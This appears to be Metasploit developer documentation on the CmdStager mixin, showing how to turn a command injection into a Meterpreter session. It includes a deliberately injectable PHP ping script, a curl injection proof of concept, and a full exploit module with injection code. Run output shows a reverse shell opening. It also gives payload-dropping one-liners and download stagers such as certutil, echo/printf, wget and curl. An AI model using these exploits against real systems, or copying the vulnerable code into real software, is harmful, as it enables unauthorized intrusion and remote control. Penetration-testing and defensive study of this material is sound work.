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Metasploit Documentation

If you’ve found a way to execute a command on a target, and you’d like the leverage that ability to execute a command into a meterpreter session, command stagers are for you. Command stagers provide an easy way to write exploits that leverage vulnerabilities such as command execution or code injection and turn them into sessions. There are currently 14 different flavors of command stagers, each uses system command (or commands) to save (or not save) your payload, sometimes decode, and execute.

The hardest part about command stagers is understanding how much they do. All you need to do for a command stager is to define how the command injection works in the execute_command method and then select a few options.

The Vulnerability Test Case

The best way to explain how to use a command stager is probably by demonstrating it. Here we have a command injection vulnerability in example PHP code, something silly you actually might see in enterprise-level software. The bug is that you can inject additional system commands in the system call for ping:

<?php
   if ( isset($_GET["ip"]) ) {
      $output = system("ping -c 1 " . $_GET["ip"]);
      die($output);
   }
?>

<html>
<body>
  <form action = "ping.php" method = "GET">
   IP to ping: <input type = "text" name = "ip" /> <input type = "submit" />
  </form>
   </body>
</html>

Place the above PHP script (ping.php) on an Ubuntu + Apache + PHP server. Make sure your Apache server isn’t exposed to the Internet!

Under normal usage, this is how the script behaves - it just pings the host you specify, and shows you the output:

$ curl "http://192.168.1.203/ping.php?ip=127.0.0.1"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.017 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms
rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms

OK, now we can abuse that a little and execute another command (id):

$ curl "http://192.168.1.203/ping.php?ip=127.0.0.1+%26%26+id"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.020 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.020/0.020/0.020/0.000 ms
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)

See the www-data? That is the output for the second command we asked the script to execute. By doing that, we can also do something even more nasty - like writing a Meterpreter payload onto the target system, and execute it.

The Msf::Exploit::CmdStager Mixin

Now let’s talk about how to use a command stager to exploit the above script. There are a couple of steps you need to do:

1. Include the Msf::Exploit::CmdStager mixin

Although there are many flavors of mixins/stagers, you only need to include Msf::Exploit::CmdStager when writing a Metasploit exploit. The mixin is basically an interface to all command stagers:

include Msf::Exploit::CmdStager

2. Declare your flavors

To tell Msf::Exploit::CmdStager what flavors you want, you can add the CmdStagerFlavor info in the module’s metadata. Either from the common level, or the target level. Multiple flavors are allowed.

An example of setting flavors for a specific target:

'Targets'   =>
  [
    [ 'Windows',
      {
        'Arch' => [ ARCH_X86_64, ARCH_X86 ],
        'Platform' => 'win',
        'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
      }
    ]
  ]

Or, you can pass this info to the execute_cmdstager method (see Step 4 to begin).

execute_cmdstager(flavor: :vbs)

However, it is best to set the compatible list of flavors in CmdStagerFlavor, rather than hard-coding the flavor in the execute_cmdstager method call, as this allows the operator to choose a flavor from msfconsole with set CmdStager::flavor

3. Create the execute_command method

You also must create a def execute_command(cmd, opts = {}) method in your module. This is how you define how to execute a command on the target. The parameter cmd is the command to execute. When writing the execute_cmd method, remember that

4. Decide on the supported payloads

CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are ARCH_CMD payloads that rely on software already present on the target system like netcat, bash, python, or ssh. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two. The best way to let the user decide what kind of payload to use is by defining separate targets

Here is an example targets section from a command injection module:

    'Targets' => [
      [
        'Unix Command',
        {
          'Platform' => 'unix',
          'Arch' => ARCH_CMD,
          'Type' => :unix_cmd,
          'DefaultOptions' => {
            'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',
            'RPORT' => 9000
          }
        }
      ],
      [
        'Linux (Dropper)',
        {
          'Platform' => 'linux',
          'Arch' => [ARCH_X64],
          'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
          'Type' => :linux_dropper
        }
      ],

The first target is the ARCH_CMD target and unix platform. This allows the user to select any payload that starts with cmd/unix. These payloads do not need to be saved to disk and can just be launched at the command line. The second is ARCH_X64 and the platform is linux; this lets us choose any payload that starts with linux/x64. These targets must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a ‘dropper’ because the file must be ‘dropped’ to the disk before it can be executed. In each of the targets above, we’ve selected a default payload we know will work.

4. Executing a payload As we said earlier, the way a payload is executed depends on the payload type. By including Msf::Exploit::CmdStager you are given access to a method called execute_cmdstager. execute_cmdstager makes a list of required commands to upload, save, and execute your payload, then uses the execute_command method you defined earlier to run them on the target. Unfortunately, we just mentioned not all payloads need to be saved to disk. In the case of a payload that does not need to be saved to disk, we only need to call execute_command. This problem of payload/method juggling sounds far worse than it is. Below is a quick example of how simple the exploit method will become if you have properly defined your targets as discussed in step 3:

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

That’s it. If the user selects an ARCH_CMD payload, we call the execute_command method on the already encoded payload. You don’t need to worry about encoding the payload in your execute_command method. If the user has selected a binary payload like ARCH_X64 or ARCH_X86, then we call execute_cmdstager which figures out how to save the file to disk and launch it based on the flavor you set earlier.

Over the years, we have also learned that these options are quite handy when calling execute_cmdstager:

  • flavor - You can specify what command stager (flavor) to use from here.
  • delay - How much time to delay between each command execution. 0.25 is default.
  • linemax - Maximum number of characters per command. 2047 is default.

Msf::Exploit::CmdStager Template

At the minimum, this is how your exploit should start when you’re using the CmdStager mixin:

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Command Injection Using CmdStager',
        'Description' => %q{
          This exploits a command injection using the command stager.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'sinn3r' ],
        'References' => [ [ 'URL', 'http://metasploit.com' ] ],
        'Platform' => 'linux',
        'Targets' => [ [ 'Linux', {} ] ],
        'Payload' => { 'BadChars' => "\x00" },
        'CmdStagerFlavor' => [ 'printf' ],
        'Privileged' => false,
        'DisclosureDate' => '2016-06-10',
        'DefaultTarget' => 0
      )
    )
  end

  def execute_command(cmd, opts = {})
    # calls some method to inject cmd to the vulnerable code.
  end

  def exploit
    print_status('Exploiting...')
    execute_cmdstager
  end

end

As you can see, we have chosen the “printf” flavor as our command stager. We will explain more about this later, but basically what it does is it writes our payload to /tmp and executes it.

Now let’s modify the execute_command method and get code execution against the test case. Based on the PoC, we know that our injection string should look like this:

127.0.0.1+%26%26+[Malicious commands]

We do that in execute_command using HttpClient. Notice there is actually some bad character filtering involved to get the exploit working correctly, which is expected:

def filter_bad_chars(cmd)
  cmd.gsub!(/chmod \+x/, 'chmod 777')
  cmd.gsub!(/;/, ' %26%26 ')
  cmd.gsub!(/ /, '+')
end

def execute_command(cmd, _opts = {})
  send_request_cgi(
    {
      'method' => 'GET',
      'uri' => '/ping.php',
      'encode_params' => false,
      'vars_get' => {
        'ip' => "127.0.0.1+%26%26+#{filter_bad_chars(cmd)}"
      }
    }
  )
end

def exploit
  print_status('Exploiting...')
  execute_cmdstager
end

And let’s run that, we should have a shell:

msf exploit(cmdstager_demo) > run

[*] Started reverse TCP handler on 10.6.0.92:4444
[*] Exploiting...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 10.6.0.92
[*] Meterpreter session 1 opened (10.6.0.92:4444 -> 10.6.0.92:51522) at 2016-06-10 11:51:03 -0500

Flavors

Now that we know how to use the Msf::Exploit::CmdStager mixin, let’s take a look at the command stagers you can use.

Available flavors:

VBS Command Stager - Windows Only

The VBS command stager is for Windows. What this does is it encodes our payload with Base64, save it on the target machine, also writes a VBS script using the echo command, and then lets the VBS script to decode the Base64 payload, and execute it.

If you are exploiting Windows that supports Powershell, then you might want to consider using that instead of the VBS stager, because Powershell tends to be more stealthy.

To use the VBS stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'vbs' ]

Or set the :vbs key to execute_cmdstager:

execute_cmdstager(flavor: :vbs)

You will also need to make sure the module’s supported platforms include windows (also in the metadata), example:

'Platform' => 'win'

Certutil Command Stager - Windows Only

Certutil is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8.

One thing certutil can also do for us is decode the Base64 string from a certificate, and save the decoded content to a file. The following demonstrates:

echo -----BEGIN CERTIFICATE----- > encoded.txt
echo Just Base64 encode your binary data
echo TVoAAA== >> encoded.txt
echo -----END CERTIFICATE----- >> encoded.txt
certutil -decode encoded.txt decoded.bin

To take advantage of that, the Certutil command stager will save the payload in Base64 as a fake certificate, ask certutil to decode it, and then finally execute it.

To use the Certutil command stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'certutil' ]

Or set the :certutil key to execute_cmdstager:

execute_cmdstager(flavor: :certutil)

You will also need to remember to set the platform in the metadata:

'Platform' => 'win'

Debug_write Command Stager - Windows Only

The debug_write command stager is an old Windows trick to write a file to the system. In this case, we use debug.exe to write a small .Net binary, and that binary will take a hex-ascii file created by the echo command, decode the binary, and finally execute.

Obviously, to be able to use this command stager, you must make sure the target is a Windows system that supports .Net.

To use the debug_write command stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'debug_write' ]

Or set the :debug_write key to execute_cmdstager:

execute_cmdstager(flavor: :debug_write)

You will also need to remember to set the platform in the metadata:

'Platform' => 'win'

Debug_asm Command Stager - Windows Only

The debug_asm command stager is another old Windows trick used to assemble a COM file, and then COM file will decode our hex-ascii payload, and then execute it.

To use the debug_asm command stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'debug_asm' ]

Or set the :debug_asm key to execute_cmdstager:

execute_cmdstager(flavor: :debug_asm)

You will also need to remember to set the platform in the metadata:

'Platform' => 'win'

TFTP Command Stager - Windows Only

The TFTP command stager uses tftpd.exe to download our payload, and then use the start.exe command to execute it. This technique only works well against an older version of Windows (such as XP), because newer Windows machines no longer install tftp.exe by default.

The TFTP command stager must bind to UDP port 69, so msfconsole must be started as root:

rvmsudo ./msfconsole

To use the TFTP stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'tftp' ]

Or set the :tftp key to execute_cmdstager:

execute_cmdstager(flavor: :tftp)

You will also need to remember to set the platform in the metadata:

'Platform' => 'win'

PowerShell Invoke-WebRequest - Windows Only

To use the PowerShell Invoke-WebRequest stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'psh_invokewebrequest' ]

Or set the :psh_invokewebrequest key to execute_cmdstager:

execute_cmdstager(flavor: :psh_invokewebrequest )

Bourne Command Stager - Multi Platform

Linemax minimum: 373

The Bourne command stager supports multiple platforms except for Windows (because the use of the which command that Windows does not have). It functions rather similar to the VBS stager, except when it decodes the Base64 payload at runtime, there are multiple commands to choose from: base64, openssl, python, or perl.

To use the Bourne stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'bourne' ]

Or set the :bourne key to execute_cmdstager:

execute_cmdstager(flavor: :bourne)

Echo Command Stager - Multi Platform

Linemax minimum: 26

The echo command stager is suitable for multiple platforms except for Windows. It just echos the payload, chmod and execute it. An example of that looks similar to this:

echo -en \\x41\\x41\\x41\\x41 >> /tmp/payload ; chmod 777 /tmp/payload ; /tmp/payload ; rm -f /tmp/payload

To use the echo stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'echo' ]

Or set the :echo key to execute_cmdstager:

execute_cmdstager(flavor: :echo)

Printf Command Stager - Multi Platform

Linemax minimum: 25

The printf command stager is also suitable for multiple platforms except for Windows. It just uses the printf command to write the payload to disk, chmod and execute it. An example of that looks similar to this:

printf '\177\177\177\177' >> /tmp/payload ; chmod +x /tmp/payload ; /tmp/payload ; rm -f /tmp/payload

To use the printf stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'printf' ]

Or set the :printf key to execute_cmdstager:

execute_cmdstager(flavor: :printf)

cURL Command Stager - Multi Platform

To use the cURL stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'curl' ]

Or set the :curl key to execute_cmdstager:

execute_cmdstager(flavor: :curl)

wget Command Stager - Multi Platform

To use the wget stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'wget' ]

Or set the :wget key to execute_cmdstager:

execute_cmdstager(flavor: :wget)

LWP Request Command Stager - Multi Platform

To use the lwprequest stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'lwprequest' ]

Or set the :lwprequest key to execute_cmdstager:

execute_cmdstager(flavor: :lwprequest)

Fetch Command Stager - BSD Only

To use the fetch stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'fetch' ]

Or set the :fetch key to execute_cmdstager:

execute_cmdstager(flavor: :fetch)